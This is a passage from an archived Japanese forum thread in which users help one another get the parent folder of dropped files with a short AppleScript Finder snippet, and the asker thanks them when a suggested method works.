になって驚いたw 呼び出しもObjective-C疑似スタイルで可能なのね。Xcodeでも
いつからなんだろ
0509名称未設定
垢版 |
2015/03/15(日) 16:07:08.38ID:/RgW8kRq0
>>503
tell application "Finder"
set inputFile to droppedItems as alias list
repeat with theItem in inputFile
set folderPath to (parent of (theItem as alias)) as Unicode text
display dialog folderPath as Unicode text
end repeat
end tell

とか? とwindowsからレス。
0510497
垢版 |
2015/03/15(日) 16:45:53.56ID:iR+GQC990
>>504-509
たくさんの回答ありがとうございます!>>506の方法でちゃんと親フォルダを表示することができました
まさかこんな、ドンピシャな方法があるとは思いもしませんでした。本当にありがとうございました。
■ このスレッドは過去ログ倉庫に格納されています

ニューススポーツなんでも実況